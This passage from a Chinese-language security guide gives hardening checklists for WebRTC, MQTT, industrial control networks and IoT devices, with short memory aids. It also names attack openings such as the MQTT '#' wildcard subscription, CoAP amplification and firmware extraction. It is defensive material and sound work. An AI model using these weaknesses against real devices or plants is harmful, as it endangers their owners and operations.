  ☐ HTTP/2 或 SharedWorker(突破 6 连接限制)

===================== WebRTC =====================
  ☐ 房间 ID 密码学随机(≥128 位)
  ☐ 加入需鉴权(Token + 可选访问码)
  ☐ 访问码失败限制(15 分钟 5 次)
  ☐ 房间过期时间 + 人数上限
  ☐ SDP 校验 ICE 服务器白名单(防中间人注入)
  ☐ TURN: no-anonymous-access + 动态凭据
  ☐ TURN: denied-peer-ip 禁内网段
  ☐ TURN: max-bps 限流
  ☐ 高敏感场景 iceTransportPolicy: 'relay'

===================== MQTT =====================
  ☐ allow_anonymous false ★
  ☐ 只用 8883(TLS),禁用 1883 明文
  ☐ 一机一密,固件不硬编码
  ☐ ACL 默认拒绝
  ☐ 禁止订阅 # 和 $SYS/#
  ☐ 设备只能访问自己 ID 下的 Topic
  ☐ 上下行 Topic 分离(up/ vs down/)
  ☐ 禁止对 command/config 发保留消息
  ☐ 连接数 / 消息大小 / inflight / 队列 限制
  ☐ 监控:认证失败、克隆设备、订阅 #、保留消息篡改

===================== 工控 =====================
  ☐ 网络分段:IT / DMZ / OT 三层
  ☐ 摄像头/办公网 禁止访问 OT 网
  ☐ 工业防火墙:源IP + 功能码 + 地址范围 + 值范围
  ☐ 所有写操作告警
  ☐ 工控 IDS 基线学习
  ☐ PLC 拨到 RUN 时禁止下载程序
  ☐ 日志异地备份(WORM)
  ☐ 定期比对 PLC 程序与备份

===================== IoT 设备 =====================
  ☐ 无默认口令 / 首次强制改密
  ☐ 一机一密 + 动态凭据 + 定期轮换
  ☐ 固件签名 + Secure Boot
  ☐ OTA 防降级(安全版本计数器)
  ☐ OTA A/B 分区(防变砖)
  ☐ 关闭/保护 UART/JTAG/SWD
  ☐ 密钥放安全芯片,不放普通 Flash
  ☐ 关闭不必要的服务(telnet/ftp)
  ☐ 灰度发布 + 回滚机制

5.11.4 一句话记忆法

长连接守消息,广播协议守频道,工控守网络,设备守凭据。

  • WebSocket / SSE:网关看不见,所以鉴权和限流都要下沉到应用层; 限流的单位是消息不是请求
  • MQTT:不是防“消息被偷听”,是防“谁订阅了哪个频道”; 一个 # 就能订阅全世界,所以 ACL 比加密更重要
  • WebRTC:数据通道很安全(强制 DTLS), 但信令通道是你自己写的,那是唯一的弱点
  • CoAP:UDP + 无认证 = 天然放大器,上 DTLS 是唯一有效解
  • Modbus:协议本身没救,靠网络隔离和行为监测; “能看见”比“能拦住”更重要
  • IoT 设备:固件提取只要 10 分钟,所以凭据绝不能写死在固件里; 一机一密 + 动态轮换 + 安全芯片